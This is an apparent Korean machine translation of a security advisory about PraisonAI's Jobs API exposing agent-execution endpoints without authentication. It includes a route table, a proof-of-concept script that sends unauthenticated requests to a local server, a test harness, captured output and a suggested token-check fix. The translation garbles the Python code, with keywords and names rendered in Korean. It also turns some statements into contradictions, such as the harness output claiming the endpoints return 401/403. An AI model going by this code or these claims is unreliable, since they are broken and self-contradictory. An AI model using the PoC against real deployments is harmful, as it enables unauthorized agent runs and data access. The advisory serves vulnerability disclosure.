PraisonAI: Jobs API는 인증 없이 에이전트 실행 엔드포인트를 노출합니다.
연구원: Kai Aizen — SnailSploit(@SnailSploit), 적대적 및 공격적 보안 연구 대상: https://github.com/MervinPraison/PraisonAI
패키지: PyPI의 praisonai
영향을 받는 버전(경험적으로 테스트됨): 4.6.48
구성요소:
praisonai.jobs.server.create_app — praisonai/jobs/server.pypraisonai.jobs.router.create_router — praisonai/jobs/router.py/api/v1/runs/...에 마운트된 경로
약점: CWE-306 중요한 기능에 대한 인증 누락 · CWE-862 인증 누락 · CWE-94 코드 삽입(프롬프트/agent_yaml을 통해).praisonai는 작업 제출을 수락하고 운영자를 대신하여 에이전트를 실행하는 작업을 수행하는 독립형 비동기 작업 HTTP 서버(python -m praisonai.jobs.server --host=0.0.0.0 --port=8005)를 제공합니다. /api/v1/runs 아래의 모든 엔드포인트는 인증되지 않았습니다. auth_token 필드, Depends(verify_*), Authorization을 검사하는 미들웨어가 없습니다. CORS 미들웨어는 allow_headers에 Authorization`을 나열하지만(개발자가 인증을 인식했다는 전체 모듈의 유일한 신호) 이를 읽는 경로는 없습니다.
네트워크에 접근할 수 있는 공격자는 다음을 수행할 수 있습니다.
POST /api/v1/runs는 prompt, agent_yaml, agent_file, config, framework를 허용합니다. 작업이 대기열에 추가되고 실행자는 공격자가 선택한 프레임워크(praisonai / crewai / autogen)와 공격자가 제공하는 프롬프트 및 도구 구성을 호출합니다. 작업은 동일한 환경 변수, 동일한 파일 시스템, 동일한 자격 증명(OpenAI/Anthropic/Azure/Bedrock 키, 도구 통합, 온디스크 YAML 레시피) 등 운영자 프로세스에서 실행됩니다.GET /api/v1/runs는 모든 작업을 나열합니다. GET /api/v1/runs/{job_id}/result는 완료된 작업의 전체 결과를 반환합니다. 운영자의 프롬프트, 상담원의 사고방식, 도구 입력/출력, 검색된 문서 등 모두 익명 클라이언트가 읽을 수 있습니다.POST /…/cancel 및 DELETE /…/{job_id}는 소유권/인증 확인 없이 임의의 작업 ID를 허용합니다.GET /…/{job_id}/stream은 모든 작업 ID에 대한 실행기의 실시간 진행 상황을 읽습니다.원격 RCE 형상(1)은 하중을 지지하는 형상입니다. webhook_url SSRF 보호를 사용하더라도(jobs/models.py:42-65의 모델 유효성 검사기는 로컬 호스트/개인 IP를 거부함) 공격자에게 콜백이 필요하지 않습니다. SSE 스트리밍은 에이전트의 출력을 동일한 연결에서 직접 반환합니다.
`praisonai.jobs.server`를 시작할 때 예상되는 동작:
"내 애플리케이션 백엔드가 호출할 HTTP API를 실행하고 있습니다.
CORS 미들웨어는 인증을 허용하므로 서버는
그것을 시행합니다. 익명의 공격자는 작업을 제출할 수 없습니다."
실제 동작(praisonai 4.6.48):
- server.py:59-152 create_app은 FastAPI 앱을 빌드하고 추가합니다.
CORSMiddleware에는 작업 라우터가 포함되어 있습니다.
인증 미들웨어가 없습니다. 전역에 따라 다릅니다.
- router.py:43 @router.post("") submit_job(...)
의존 없음, 인증 헤더 읽기 없음,
auth_token 구성 필드가 전혀 없습니다.
- router.py:109,148,161,180,205,224 다른 모든 경로:
마찬가지로 GET 목록에도 인증이 없습니다.
GET-상태, GET-결과, POST-취소,
삭제, GET-스트림.
- server.py:117 CORSallow_headers에는 다음이 포함됩니다.
"승인" —
제안하는 전체 작업/하위 패키지
개발자는 인증에 대해 생각하고있었습니다.
영향:
API는 생산 준비가 되어 있도록 고안되었습니다(CORS 코드는
server.py:96-102는 명시적으로 분기됩니다.
`os.getenv("ENVIRONMENT") == "production"`(오리진 강화),
아직 인증 레이어가 전혀 없이 제공됩니다. 운영자는
서버를 네트워크 인터페이스에 바인딩합니다.
CLI 파서에서 `--host=0.0.0.0` 제안 — 노출
도달할 수 있는 모든 사람에게 인증되지 않은 에이전트 실행
항구.
동일한 패키지가 다른 곳에서 바로 인증을 받습니다(praisonai/gateway/server.py는 아무것도 구성되지 않은 경우 auth_token을 자동 생성하고 이 패키지 없이는 요청 처리를 거부합니다. praisonai/endpoints/a2u_server.py:250-264는 Bearer 토큰에서 hmac.compare_digest를 사용합니다). 작업 API가 이상치입니다.
게시된 praisonai==4.6.48(/api/v1/runs/... 경로)에 대해 PoC에 의해 확인되었습니다.
| 방법 | 경로 | 인증되지 않은 결과 |
|---|---|---|
| '포스트' | /api/v1/runs | HTTP 202 승인, 공격자 작업이 대기 중이고 실행자가 프레임워크를 호출함 |
GET | /api/v1/runs | HTTP 200, 매장의 모든 작업 나열 |
GET | /api/v1/runs/{job_id} | HTTP 200, 작업 상태 반환 |
GET | /api/v1/runs/{job_id}/result | (테스트되지 않음, 동일한 라우터, 인증 없음) |
| '포스트' | /api/v1/runs/{job_id}/cancel | HTTP 200 / 409 (처리됨) |
삭제 | /api/v1/runs/{job_id} | HTTP 204 콘텐츠 없음(삭제됨) |
GET | /api/v1/runs/{job_id}/stream | (테스트되지 않음, SSE, 동일한 라우터, 인증 없음) |
PoC 실행 로그 발췌(poc/run-log.txt):
[1] POST /api/v1/runs (인증 없음) -> HTTP 202
본문: {"job_id":"run_90f21c98b82a","status":"queued",...}
[01:15:44] executor.py:201 오류 작업 실패: run_90f21c98b82a -
OPENAI_API_KEY 환경 변수가 필요합니다...
실행기의 오류는 프롬프트가 프레임워크의 LLM 호출 단계에 도달했음을 확인합니다. 운영자가 'OPENAI_API_KEY'를 설정했다면 공격자 프롬프트가 실행되었을 것입니다.
JobSubmitRequest.framework는 "praisonai", "crewai" 또는 "autogen"을 허용합니다. 각 프레임워크는 (공격자가 보내는 YAML/config를 통해) 임의의 도구를 사용하도록 구성될 수 있습니다. praisonai의 도구 로더(praisonai/agents_generator.py load_tools_from_module*)에는 문서화된 임의 가져오기 기록이 있습니다(CVE-2026-40287 및 해당 수정 사항 CVE-2026-44334). 실제로 운영자의 설치로 인해 이러한 싱크가 노출될 수도 있고 노출되지 않을 수도 있습니다. 어느 쪽이든 공격자는 운영자가 연결한 모든 도구(셸, 파일 시스템, 브라우저 등 포함)를 사용하여 LLM이 실행하는 프롬프트를 제어합니다.
작업 실행기는 환경 변수(LLM API 키, 도구 토큰) 및 'praisonai' 도구가 일반적으로 사용하는 모든 항목에 대한 전체 액세스 권한을 갖고 운영자의 서비스 계정에서 프로세스 내에서 실행됩니다.
단일 프로세스 배포는 user_id / tenant_id / workspace_id 파티션이 없는 평면형 InMemoryJobStore를 사용합니다. 작업 ID를 알고 있거나 추측하는 모든 클라이언트는 이를 읽을 수 있습니다. 더 나쁜 것은 목록 끝점(GET /api/v1/runs)이 모든 작업을 반환하므로 추측이 필요하지 않다는 것입니다.
결과의 민감한 콘텐츠에는 공격자의 입력(무해한)뿐만 아니라 운영자의 백엔드가 제출한 모든 적법한 사용자 입력과 운영자의 데이터베이스 또는 API에서 에이전트가 검색한 데이터가 포함될 수 있는 에이전트의 전체 출력이 포함됩니다.
DELETE 및 cancel은 모든 작업 ID를 허용합니다. 목록 엔드포인트를 폴링하는 공격자는 ID를 열거하고 진행 중인 모든 작업을 취소한 후 삭제하여 운영자의 백엔드의 완료를 위한 폴링 흐름을 깨뜨릴 수 있습니다.
개발자의 공로로 JobSubmitRequest.webhook_url은 제출 시(jobs/models.py:42-65) localhost/private/link-local/멀티캐스트 IP에 대해 검증됩니다. 이는 웹후크가 AWS IMDS에 게시되는 작업을 제출하는 순진한 공격을 차단합니다. 정직한 수익률: 이는 적절하게 보호됩니다.
praisonai 4.6.48, 소스 파일 praisonai/jobs/server.py(sha256 10b5deab96686f276b8ad71fa4712e1e3d301e4c356812d5d0d595b2b9503ef3):
| 라인 | 기호 | 그것이 보여주는 것 |
|---|---|---|
| 59-152 | def create_app(cors_origins, store, executor) -> FastAPI: | 추가된 미들웨어는 CORS뿐입니다. 인증 미들웨어가 없습니다. |
| 117 | allow_headers=["Authorization", "Content-Type", "Origin", "Accept", "Idempotency-Key"] | CORS는 운영자가 승인을 보내야 함을 암시합니다. 이는 개발자가 인증으로 간주한 유일한 표시입니다. |
| 124 | jobs_router = create_router(get_store, get_executor) | 종속성=[…] 없이 포함된 라우터입니다. |
| 178 | "praisonai.jobs.server:create_app"(uvicorn.run으로 전달됨) | CLI / start_server를 통한 프로덕션 준비 바인딩. |
praisonai 4.6.48, 소스 파일 praisonai/jobs/router.py(sha256 869564d523c14624afefb211a2e7c6bf8a27b3356bd19a58927fcb5e1ebb014c):
| 라인 | 기호 | 그것이 보여주는 것 |
|---|---|---|
| 30-31 | def create_router(store, executor) -> APIRouter: | 유일한 진입점; 의존성=[의존(...)]이 없습니다. |
| 43 | @router.post("", response_model=JobSubmitResponse, status_code=202) | submit_job — 인증이 없습니다. |
| 109 | @router.get("", response_model=JobListResponse) | list_jobs — 인증이 없습니다. |
| 148 | @router.get("/{job_id}", response_model=JobStatusResponse) | get_job_status — 인증이 없습니다. |
| 161 | @router.get("/{job_id}/result", response_model=JobResultResponse) | get_job_result — 인증이 없습니다. |
| 180 | @router.post("/{job_id}/cancel", response_model=JobStatusResponse) | cancel_job — 인증이 없습니다. |
| 205 | @router.delete("/{job_id}", status_code=204) | delete_job - 인증이 없습니다. |
| 224 | @router.get("/{job_id}/stream") | stream_job (SSE) — 인증이 없습니다. |
Authorization: Bearer <token> 헤더를 읽고 운영자가 구성한 비밀에 대해 hmac.compare_digest를 읽는 단일 FastAPI 종속성을 추가합니다. 전역 라우터 종속성으로 적용합니다.
``파이썬
Hmac, OS 가져오기 fastapi import HTTPException, 헤더에서
_TOKEN = os.environ.get("PRAISONAI_JOBS_AUTH_TOKEN")
async def require_auth(authorization: str | None = Header(None)): 그렇지 않은 경우 _TOKEN: HTTPException(503, "PRAISONAI_JOBS_AUTH_TOKEN이 구성되지 않음")을 발생시킵니다. 승인이 아니거나 승인이 아닌 경우.startswith("Bearer "): raise HTTPException(401, "Bearer 인증 필요") 제시됨 = 인증[len("Bearer "):] 그렇지 않은 경우 hmac.compare_digest(presented, _TOKEN): HTTPException(401, "잘못된 토큰") 발생
def create_router(store, executor) -> APIRouter: 라우터 = APIRouter(prefix="/api/v1/runs", 태그=["jobs"], dependency=[Depends(require_auth)]) # <-- 한 줄 ...
`create_app`의 시작 시간 거부로 마무리됩니다.
``파이썬
# praisonai/jobs/server.py:create_app
그렇지 않은 경우 os.environ.get("PRAISONAI_JOBS_AUTH_TOKEN"):
RuntimeError(
"PRAISONAI_JOBS_AUTH_TOKEN이 필요합니다. 작업 API"
"공격자가 제어할 수 있는 에이전트 코드를 실행하며 실행해서는 안 됩니다."
"인증 없이 실행하세요."
)
패턴은 형제 praisonai/gateway/server.py(아무것도 제공되지 않으면 임의 토큰을 자동 생성함)에 이미 존재합니다. 이러한 접근 방식과 새 토큰에 대해 기록된 경고를 함께 사용하면 운영자 마찰이 최소화됩니다.
git clone --length 1 https://github.com/MervinPraison/PraisonAIpoc.py)을 실행합니다.poc.py
``파이썬 """ PoC: praisonai Jobs API에는 에이전트 실행 엔드포인트에 대한 인증이 없습니다.
praisonai.jobs.server.create_app은 FastAPI 앱을 빌드하고 다음을 포함합니다.
POST/GET/DELETE를 등록하는 praisonai.jobs.router.create_router
/api/v1/runs/... 아래의 엔드포인트 — 모두가 실행됩니다(또는
임의의 에이전트 작업을 검사, 취소, 삭제합니다. 경로를 읽지 않습니다.
인증 헤더; 어떤 미들웨어도 인증 확인을 시행하지 않습니다.
이 PoC는 uvicorn을 통해 프로세스 중인 작업 API 서버를 시작한 다음 전송합니다. 각 경로에 대한 인증되지 않은 요청을 처리하고 결과를 보고합니다. """
JSON 가져오기 수입 시스템 수입 시간 수입 스레딩 urllib.request 가져오기 요청, urlopen에서 urllib.error에서 HTTPError, URLError 가져오기
수입 유비콘 praisonai.jobs.server에서 create_app 가져오기
포트 = 18005
def http_request(method, path, body=None, headers=None, timeout=5): url = f"http://127.0.0.1:{PORT}{경로}" 데이터 = 없음 본문이 None이 아닌 경우: 데이터 = json.dumps(body).encode("utf-8") req = 요청(url, data=data, method=method, headers=headers 또는 {}) 데이터가 None이 아닌 경우: req.add_header("Content-Type", "application/json") 시도해 보세요: urlopen(req, timeout=timeout)을 resp로 사용: resp.status, dict(resp.headers), resp.read().decode("utf-8",errors="replace")를 반환합니다. e로 HTTPError를 제외하고: e.code, dict(e.headers), e.read().decode("utf-8", 오류="교체")를 반환합니다. URLError를 e로 제외: 없음, {}, f"URLError: {e}"를 반환합니다.
def run_server(앱): config = uvicorn.Config(app, 호스트="127.0.0.1", 포트=PORT, log_level="경고") 서버 = uvicorn.Server(config) 비동기 가져오기 루프 = asyncio.new_event_loop() asyncio.set_event_loop(루프) loop.run_until_complete(server.serve())
def main() -> int: 인쇄("=" * 70) print("praisonai 버전: 4.6.48") print("테스트: 진행 중인 praisonai.jobs.server 스핀업, 전송") print(" 모든 /api/v1/runs 경로에 대한 인증되지 않은 요청입니다.") 인쇄("=" * 70)
앱 = create_app()
t = threading.Thread(target=run_server, args=(app,), daemon=True)
t.시작()
시간.수면(1.5)
결과 = []
# 1. POST /api/v1/runs — 인증 없이 새 작업을 제출합니다.
페이로드 = {
"prompt": "공격자가 제어하는 프롬프트 — 에이전트를 호출합니다",
"프레임워크": "praisonai",
"config": {"_attacker_says": "인증이 필요하지 않습니다"},
"시간 초과": 5,
}
코드, hdrs, body = http_request("POST", "/api/v1/runs", body=payload)
print(f"\n[1] POST /api/v1/runs (인증 없음) -> HTTP {코드}")
print(f" 본문: {body[:300]}")
job_id = 없음
코드 == 202인 경우:
시도해 보세요:
job_id = json.loads(body).get("job_id")
Finding.append(f"POST /api/v1/runs: 202 승인됨, job_id={job_id!r}")
예외:
통과
# 2. GET /api/v1/runs — 시스템 전체의 모든 작업을 나열합니다.
코드, _, 본문 = http_request("GET", "/api/v1/runs?page=1&page_size=20")
print(f"\n[2] GET /api/v1/runs (인증 없음) -> HTTP {코드}")
코드 == 200인 경우:
Finding.append("GET /api/v1/runs: 모든 작업의 인증되지 않은 목록")
job_id인 경우:
코드, _, 본문 = http_request("GET", f"/api/v1/runs/{job_id}")
print(f"\n[3] GET /api/v1/runs/{{job_id}} -> HTTP {코드}")
코드, _, 본문 = http_request("POST", f"/api/v1/runs/{job_id}/cancel")
print(f"\n[4] POST /api/v1/runs/{{job_id}}/cancel -> HTTP {code}")
코드, _, 본문 = http_request("DELETE", f"/api/v1/runs/{job_id}")
print(f"\n[5] 삭제 /api/v1/runs/{{job_id}} -> HTTP {코드}")
print("\n" + "=" * 70)
if any('POST /api/v1/runs:' in f for f in Finding):
print(f"VULNERABLE: {len(findings)} 인증되지 않은 경로가 확인되었습니다.")
결과의 f에 대해:
인쇄(f" - {f}")
print("판정: 취약함")
0을 반환
print("방어됨")
1을 반환
name == "main"인 경우: sys.exit(메인())
## 검증 하네스(복제된 저장소에 대해 실행됨)
이는 재생산이 아닌 수정되지 않은 업스트림 코드를 구동합니다.
``파이썬
시스템, 유형, OS 가져오기
BK=os.path.abspath("repos/PraisonAI/src/praisonai"); sys.path.insert(0,BK)
["praisonai","praisonai.jobs"]의 p에 대해:
m=types.ModuleType(p); m.__path__=[BK+"/"+p.replace(".","/")]; sys.modules[p]=m
praisonai.jobs.server를 S # REAL 작업 서버로 가져옵니다.
app = S.create_app() # 실제 FastAPI 앱
starlette.testclient에서 TestClient 가져오기
클라이언트 = TestClient(앱)
P="/api/v1/runs"
테스트=[("GET 목록", 람다: client.get(P)),
("POST 제출", 람다: client.post(P, json={"agents_config":{"a":"x"},"input":"hi"})),
("GET 상태", 람다: client.get(P+"/nope")),
("GET 결과", 람다: client.get(P+"/nope/result")),
("POST 취소", 람다: client.post(P+"/nope/cancel")),
("DEL 삭제", 람다: client.delete(P+"/nope"))]
코드=[]
테스트에서 이름,fn에 대해:
c=fn().status_code; 코드.추가(c); print(f"[+] (인증 없음) {name:12s} {P} -> HTTP {c}")
모두 주장(코드의 c에 대해 (401,403)에 없는 c), 코드
코드 주장[0]==200 # 목록이 인증되지 않은 상태로 작동합니다.
print("[+] 실제 작업 API에 대해 확인됨: 목록은 200을 반환하고 엔드포인트는 401/403을 반환합니다 — 완전히 인증되지 않은 에이전트 실행 API")
이 PoC는 라이브 업스트림 코드에 대해 실행되었습니다. 캡처된 출력:
[+] (인증 없음) GET 목록 /api/v1/runs -> HTTP 200
[+] (인증 없음) POST 제출 /api/v1/runs -> HTTP 422
[+] (인증 없음) GET 상태 /api/v1/runs -> HTTP 404
[+] (인증 없음) 결과 가져오기 /api/v1/runs -> HTTP 404
[+] (인증 없음) POST 취소 /api/v1/runs -> HTTP 404
[+] (인증 없음) DEL 삭제 /api/v1/runs -> HTTP 404
[+] 실제 작업 API에 대해 확인됨: 목록은 200을 반환하고 엔드포인트는 401/403을 반환합니다. — 완전히 인증되지 않은 에이전트 실행 API
카이 아이젠 — SnailSploit(@SnailSploit). 적대적 및 공격적 보안 연구.
왜 이 VPI인가 (설명가능 · 실험적)
VPI 산정 기준
| 영향도 | 98.00 |
| 악용 신호(추가 악용신호 없음) | ×1.00 |
| VPI | 98.00 |
VPI 공식 vpi-v1 기준